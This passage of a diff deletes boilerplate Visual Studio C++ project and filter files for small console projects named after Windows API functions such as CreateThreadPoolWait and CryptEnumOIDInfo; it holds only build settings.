<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CopyFileEx.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CopyFileEx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7c60d205-1563-4bec-bb27-1d7c3b58a08f}</ProjectGuid>
<RootNamespace>CreateThreadPoolWait</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CreateThreadPoolWait.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CreateThreadPoolWait.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7d1e2ec5-fb57-4148-a6eb-59eeece4a660}</ProjectGuid>
<RootNamespace>CreateTimerQueueTimerTech</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CreateTimerQueueTimer_Tech.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CreateTimerQueueTimer_Tech.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{d21641fb-1935-4ed9-b511-bc80f00b733f}</ProjectGuid>
<RootNamespace>CryptEnumOIDInfo</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CryptEnumOIDInfo.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CryptEnumOIDInfo.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
